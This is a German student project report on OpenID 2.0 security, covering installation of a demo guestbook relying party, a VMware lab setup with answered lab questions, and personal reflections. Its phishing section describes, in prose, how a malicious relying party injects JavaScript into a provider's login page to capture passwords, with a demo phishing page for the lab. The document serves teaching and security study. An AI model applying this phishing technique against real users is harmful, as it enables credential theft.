[5] HTML Entities Referenz: http://www.w3schools.com/tags/ref_entities.asp
[6] JanRain Homepage: http://janrain.com/
[7] Sxip Code Homepage: http://code.sxip.com/
[8] NetMesh Homepage: http://netmesh.us/
[9] Lightweight Identity Framework: http://lid.netmesh.org/wiki/Main_Page
srv-17
OpenID 2.0 Gästebuch
Studienarbeit SS 07
Dieses Dokument beschreibt die Installation und Bedienung des
„OpenID 2.0 Gästebuch“ – das Gästebuch mit OpenID Login.
Loris Siegenthaler
David Benninger
INHALTSVERZEICHNIS
Einführung ............................................................................................................................................................... 3
Voraussetzungen ..................................................................................................................................................... 3
Installation .............................................................................................................................................................. 3
Bedienung (Das Gute) ............................................................................................................................................. 4
Bedienung (Das Böse) ............................................................................................................................................. 5
gb-2
EINFÜHRUNG
Das OpenID 2.0 Gästebuch ist eine OpenID Relying Party zur Veranschaulichung der Funktionsweise von
OpenID 2.0. Nach dem Login über OpenID kann jeder Benutzer neue Gästebuch-Einträge erstellen.
Das Gästebuch wird in dem IntSi2 OpenID Praktikumsversuch verwendet und ist bezüglich Sicherheit nicht für
das öffentliche Web geeignet.
VORAUSSETZUNGEN
Folgende Punkte gelten als Voraussetzung für eine erfolgreiche Installation:
1.
PHP 5 mit Curl
2.
Apache Webserver
INSTALLATION
Die folgende Installationsanleitung gilt für Debian basierte Distributionen, wie z.B. Ubuntu:
1.
2.
Installiere die gepatchte JanRain PHP OpenID2 Library
a.
wget http://openid.virtualpatient.ch/downloads/guestbook/PHP-openid-2.0.0-rc2patched.tar.gz
b.
tar -zxvf PHP-openid-2.0.0-rc2-patched.tar.gz
c.
cp -R PHP-openid-2.0.0-rc2-patched/Auth /usr/share/php/
Installiere das OpenID 2 Gästebuch
a.
wget http://openid.virtualpatient.ch/downloads/guestbook/guestbook.tar.gz
b.
tar -zxvf guestbook.tar.gz
c.
mkdir /var/www/guestbook/
d.
cp -R guestbook/* /var/www/guestbook/
e.
touch /var/www/guestbook/htdocs/data.txt
f.
chown www-data:www-data /var/www/guestbook/htdocs/data.txt
g.
chown www-data:www-data /var/www/guestbook/
Mit dem Browser kann nun über die URL http://yourdomain.ch/guestbook/htdocs auf das Gästebuch
zugegriffen werden. Möchte man die Assoziationen im Verzeichnis „guestbook/associations“ vor
unberechtigtem Zugriff schützen, muss die WWW-Root Konfiguration des Apache Webservers auf das
Verzeichnis „/var/www/guestbook/htdocs“ geändert werden.
gb-3
BEDIENUNG (DAS GUTE)
Das OpenID 2.0 Gästebuch ist wie folgt aufgebaut:
OpenID Login
Formular
Immediate Requests
können hier für das Login
verwendet werden
Bereich der GästebuchEinträge.
Nach der Anmeldung über OpenID kann der Benutzer eigene Einträge verfassen. Hat der Benutzer das
Gästebuch in der Liste seiner vertrauten Seiten, kann er mit dem Immediate Request die Login Prozedur
abkürzen.
Beim erfolgreichen Login können detaillierte OpenID Informationen mit einem Klick auf „Details on/off“
angezeigt werden.
gb-4
BEDIENUNG (DAS BÖSE)
Über die URL http://yourdomain.ch/phishing/ kann auf das OpenID Phishing (siehe Anleitung ab Seite prot-33)
Gästebuch zugegriffen werden (gut erkennbar mit Fisch):
Nach der Eingabe der OpenID URL wird die OpenID Provider Seite geladen und dargestellt.
Benutzername und Passwort werden jedoch nicht an den OpenID Provider gesendet, sondern an das Phishing
Gästebuch. Die „gephishten“ Daten werden dann ausgegeben:
gb-5
Praktikums
Vorbereitungen
Studienarbeit SS 07
Loris Siegenthaler
David Benninger
INHALTSVERZEICHNIS
Installation des VMware Servers ............................................................................................................................ 2
Laden der VMware Images ..................................................................................................................................... 2
Netzwerk Konfiguration .......................................................................................................................................... 3
Starten und Testen der Images ............................................................................................................................... 4
INSTALLATION DES VMWARE SERVERS
1.
2.
3.
Den kostenlosen VMware Server downloaden: http://www.vmware.com/download/server/
Seriennummer generieren: http://register.vmware.com/content/registration.html
Die Installation starten
LADEN DER VMWARE IMAGES
1.
2.
3.
Starten der VMware Server Console. Start – Programs – VMware – VMware Server Console
Mit dem VMware Host verbinden: localhost – connect (user/password leer lassen)
Laden der Images: File – Open – Browse – „openid-provider.vmx“ und „openid-rp.vmx“ auswählen
prakv-2
NETZWERK KONFIGURATION
Das Ziel ist folgende Netzwerk Konfiguration:
Dazu sind folgende Schritte notwendig:
1.
2.
3.
Host - Virtual Network Settings…
Auf den Reiter „Host Virtual Network Mapping“ klicken
Es erscheint folgendes Fenster:
4.
5.
6.
VMnet8 ist das default NAT Interface. Dort auf den Pfeil klicken und Subnet selektieren.
Das eingetragene Subnetz auf 192.168.10.0 ändern.
Die Änderungen durch Klick auf „Apply“ übernehmen.
prakv-3
STARTEN UND TESTEN DER IMAGES
1.
2.
Das Image links in der Liste auswählen und den grünen „Play“ Button drücken.
Folgenden Vorschlag übernehmen:
3.
4.
Einloggen: Username: notroot / Passwort: strongSwan
Löschen Sie, falls vorhanden, die Datei „/etc/udev/rules.d/25-iftab.rules“ und starten Sie den Server
neu. Dies erzwingt eine Neukonfiguration der Netzwerk Interfaces.
Netzwerk testen: ping 192.168.10.2 (NAT-Gateway) und ping www.heise.de
Diese Schritte beim anderen Image ebenfalls durchführen
5.
6.
prakv-4
OpenID 2.0
OpenID 2.0 ist ein dezentrales System zur Identifizierung. Die Idee ist, dass Benutzer mit
einem Benutzerkonto bei einem OpenID Provider sich mit diesem auf beliebigen OpenID
unterstützenden Webseiten (Relying Parties) anmelden können, ohne dass sie für jede
Webseite ein eigenes Benutzerkonto und Passwort benötigen. Dabei wird das Konzept der
URL-basierten Identität umgesetzt.
Um die Funktionsweise von OpenID zu demonstrieren und allfällige Sicherheitsprobleme
aufzuzeigen wird eine VMware (www.vmware.com) basierte Testumgebung eingesetzt.
Als OpenID Provider verwenden wir einen OpenID Server welcher die OpenID 2.0
Spezifikation unterstützt und während einer Studienarbeit im SS07 entstanden ist.
Ein einfaches Gästebuch dient als Relying Party.
In diesem Labor verwenden wir Windows
Username:
seclab
Passwort:
strongSwan
Bitte führen Sie nach Ende des Labors die Systemwiederherstellung durch!
1) Starten der Instanzen
1. Starten Sie die VMware Console über Start – Programme – VMware
2. Dann localhost auswählen und auf den „connect“ Button drücken
3. Die beiden virtuellen Server jeweils auswählen und mit durch drücken des „Play“ Buttons
starten.
4. Auf dem Host System durch „ping 192.168.10.10“ und „ping 192.168.10.20“ die
Netzwerkkonfiguration testen.
5. Sollte dies fehlschlagen, sich bei beiden VServer einloggen. User: notroot Passwort:
strongSwan und folgenden Befehl eingeben: „sudo rm /etc/udev/rules.d/25-iftab.rules“. Dann
beide Server mit dem Befehl „reboot“ neu starten.
prak -
2
2) Allgemeine Fragen
Was ist der Vorteil von OpenID?
Sämtliche Daten sind beim OpenID Provider gespeichert und können bei Bedarf an die
Relying Party übermittelt werden. Die Authentifizierung kann mit einem Zertifikat absolut
sicher erfolgen.
Durch was unterscheidet sich OpenID von anderen Single Sign On Lösungen, wie Microsofts
Passport?
OpenID ist vollständig dezentralisiert.
Jeder kann einen OpenID Provider betreiben.
Was ist das grösste Sicherheitsproblem von OpenID?
Phishing
Wie kann dies verhindert werden?
Die einzige Lösung des Problems ist die Passwort-Authentifizierung nicht mehr zu
verwenden. Die einfachste und sicherste Alternative ist die Verwendung von SSL mit
Clientzertifikaten. Sofern der Benutzer sein Clientzertifikat privat hält, ist die
Authentifizierung sicher. Professionelle OpenID Provider wie myopenid.com bieten dies an.
Wie wird verhindert, dass der Benutzer die beim OpenID Provider eingegebenen und
allenfalls verifizierten Daten auf dem Weg zur Relying Party verändern kann?
Die Daten werden vom Provider mit Hilfe des, während der Association Phase
ausgehandelten Geheimnisses signiert. Die Relying Party überprüft diese Signatur bei
Erhalt der Daten.
Somit ist sichergestellt dass die Daten auf dem Weg vom Provider zur Relying Party nicht
unbemerkt verändert werden können.
prak -
3
3) Versuche
Erstellen Sie auf dem OpenID Provider (192.168.10.10) einen Account. Dazu geben Sie die
IP Adresse des Providers in die Adresszeile Ihres Browsers ein.
Starten Sie Wireshark im „promiscuous“ Mode auf dem Host System und zeichnen sie die
Kommunikation auf dem virtuellen Netzwerkinterface (ip: 192.168.10.1) beim ersten Login
auf der Relying Party auf.
Tipp: Die gesamte Kommunikation findet via http Post & Get Requests statt. Ein http Filter
dürfte daher sinnvoll sein.
Wie weiss die Relying Party nach der Eingabe der Identity URL, an welchen OpenID
Provider sie den Benutzer umleiten muss?
Mit Yadis, XRI, oder HTML Discovery:
Als Discovery wird der Prozess bezeichnet, mit dem die Relying Party aus der OpenID URL
die notwendigen Informationen des OpenID Providers erhält. Ist die OpenID URL ein XRI
Identifier, wird mittels XRI Resolution ein XML Dokument (XRDS) geholt. Ist die OpenID
URL eine gewöhnliche http oder https URL, wird versucht mit dem Yadis Protokoll ein XRDS
Dokument zu erhalten. Gelingt dies nicht, wird mittels eines einfachen HTTP Requests die
HTML Seite geladen und die OpenID Provider Informationen aus dem HTML-HEAD Bereich
geholt.
Beispiel für ein XRDS Dokument:
<?xml version="1.0" encoding="UTF-8"?>
<xrds:XRDS
xmlns:xrds="xri://$xrds"
xmlns="xri://$xrd*($v*2.0)">
<XRD>
<Service priority="0">
<Type>http://specs.openid.net/auth/2.0/signon</Type>
<Type>http://openid.net/signon/1.1</Type>
<Type>http://openid.net/extensions/sreg/1.1</Type>
<Type>http://openid.net/sreg/1.0</Type>
<URI>http://openid.virtualpatient.ch/trunk/server.php</URI>
</Service>
</XRD>
</xrds:XRDS>
Wie wird das gemeinsame Geheimnis zwischen Provider und Relying Party gebildet?
In direkter Kommunikation wird mit Diffie Hellman das Geheimnis gebildet. Diesen Prozess
nennt man Association Negotiation.
Zeichnen Sie die Kommunikation ein zweites Mal auf. Wieso wird zwischen der Relying Party
und dem Provider kein Geheimnis mehr ausgehandelt?
Das Geheimnis hat eine Gültigkeit von typischerweise 14 Tagen und wird so lange bei
beiden Parteien gespeichert.
prak -
4
Wie teilt die Relying Party dem Provider mit, welche Informationen sie über den Benutzer
erhalten will?
Mittels den Feldern openid.sreg.required und openid.sreg.optional im Authentication
Request.
HTTP/1.1 302 Found
Date: Tue, 19 Jun 2007 10:29:00 GMT
Pragma: no-cache
Location: http://openid.virtualpatient.ch/trunk/server.php?openid.assoc_handle=%7BHMACSHA1%7D%7B46779290%7D%7BhXn%2FBg%3D%3D%7D
Wie übermittelt der Provider die angeforderten Benutzerdaten an die Relying Party?
Die Daten werden beim Authentication Response angehängt.
Date: Tue, 19 Jun 2007 08:24:27 GMT
Pragma: no-cache
location: http://consumer.virtualpatient.ch/login.php?janrain_nonce=2007-06-19T10%3A29%3A18ZLkUsE9
&openid.mode=id_res
&openid.signed=assoc_handle%2Cclaimed_id%2Cext0.country%2Cext0.dob%2Cext0.email%2Cext0.fullname%2Cext0.gender%2Cext0.nick
name%2Cext0.postcode
prak -
5
Was passiert wenn die als “required” markierten Daten nicht gesendet werden?
Die als „required“ markierten Daten müssen nicht gesendet werden. Die Relying Party kann
in diesem Fall selbst entscheiden, wie sie fortfahren möchte.
4) Phishing
Das grösste Sicherheitsproblem bei OpenID ist Phishing. Anstatt den User-Agent zu seinem
OpenID Provider weiterzuleiten, kann eine böse Relying Party den User-Agent an einen
Fake Provider weiterleiten. Der Fake Provider imitiert den OpenID Provider des Benutzers
und kann sein Passwort abfangen. Alles was der Phisher dazu braucht, ist eine für den
Benutzer interessante Internetseite.
Die genaue Funktionsweise wird hier noch kurz erklärt:
1. Der Benutzer gibt seine Identity URL bei der bösen Relying Party ein
2. Die Relying Party holt sich die Internetseite des OpenID Providers, fügt Javascript
Code ein, der die POST Adresse sämtlicher Formulare der Providerseite auf die
Relying Party umleitet und zeigt sie an.
3. Der Benutzer gibt Benutzername und Passwort ein
4. Die Relying Party kennt nun das Passwort
Um dies anhand eines praktischen Beispiels zu demonstrieren finden sie auf der Relying
Party im Unterverzeichnis phishing eine Phishing Seite.
1. Tippen Sie 192.168.10.20/phishing in die Adresszeile Ihres Browser ein.
2. Loggen Sie sich mit Ihrer zuvor erstellten OpenID URL ein. Sie können auch die
eines anderen Providers benutzen (z.B. openid.aol.com/beatstream).
3. Haben Sie es gemerkt?
prak -
6
ERFAHRUNGSBERICHT DAVID BENNINGER
Vom OpenID Framework hatte ich vor dieser Studienarbeit keine Ahnung. Entsprechend schwierig war es sich
zu Beginn einen Überblick über das Thema zu verschaffen. Die ersten Stunden verbrachte ich mit dem Lesen
von Forum Beiträgen, Blogs und Wikipedia Artikel. Dazu kam, dass OpenID 2 noch sehr in den Kinderschuhen
steckt und es deshalb noch nicht wirklich ausgereifte Implementationen gibt.
Als sehr angenehm habe ich die Betreuung und die wöchentlichen Sitzungen empfunden. Unser Betreuer hatte
uns bei unserer Aufgabe einigen Spielraum gelassen, was sich sehr positiv auf meine Motivation ausgewirkt
hat.
VMware erleichterte den Aufbau der Testumgebung enorm. Innerhalb wenigen Stunden konnte ich die Relying
Party und den OpenID Provider installieren. Die Aufzeichnung der Kommunikation zwischen den virtuellen
Maschinen war danach sehr unkompliziert.
Da ich mit Loris schon im Software Engineering 2 Projekt und in der ersten Studienarbeit gearbeitet habe,
verlief die Zusammenarbeit ziemlich harmonisch. Konstruktive Diskussionen, regelmässige Kaffeepausen und
gemeinsame Mittagessen halfen mir bei der Problem- und Stressbewältigung.
Ich freue mich auf die Diplomarbeit.
ERFAHRUNGSBERICHT LORIS SIEGENTHALER
DRAFTS UND BETAS
Zu Beginn der Studienarbeit begannen wir uns in das Thema OpenID einzulesen. Dies gestaltete sich jedoch
schwieriger als erwartet. Da die OpenID 2.0 Spezifikation erst als Draft vorliegt, wurde erst wenig Konkretes
darüber publiziert wurde. So verbrachten wir einen Grossteil der ersten Wochen mit dem Sammeln von
Informationen.
Schwierig gestaltete sich auch die Suche einer Library, welche wir für die Implementation unseres Servers
benötigten. Alle vorhandenen Libraries welche die 2.0 Spezifikation unterstützen befinden sich noch im Beta
Stadium und bescherten uns, dank der zahlreich vorhandenen Fehler doch so einige Überstunden.
ZUSAMMENARBEIT
Da wir schon während des "SE2 Projekt" und der "Studienarbeit 1" die Möglichkeit hatten, die Stärken und
Schwächen des anderen kennen zu lernen, verlief die Zusammenarbeit mit David problemlos. In Sachen PHP
habe ich während dieser Studienarbeit viel von ihm gelernt da dies für mich völliges Neuland war.
BETREUUNG
Die wöchentlichen Sitzung mit unserem Betreuer Andreas Steffen waren angenehm und hilfreich. Seine
allwöchentlichen Fragen und Bemerkungen halfen uns dabei die Dokumentation so zu verfassen dass sie auch
von "OpenID Neulingen" verstanden wird. Positiv empfand ich auch dass wir viel Freiraum in der Gestaltung
hatten.

OpenID 2.0 - Security

Transcrição

Documentos relacionados

Fakultät für Informatik Integration eines Single-Sign-On

KALAeasy-Party

Grundlagen PHP - Programmierung Teil C

Der Sonnenuntergang

- Klar! – Party Music Live

FOS-BOS Party in der Suite 15

PRESSEINFORMATION DSL-Nutzer genervt vom

Teilnehmer der Jugendturniere TuS Harpen 2013

Fire and Ice - die Apres Ski Party 2010! Am 13.03.2010 wurde der

Praktikumsmöglichkeiten - Institut für Politik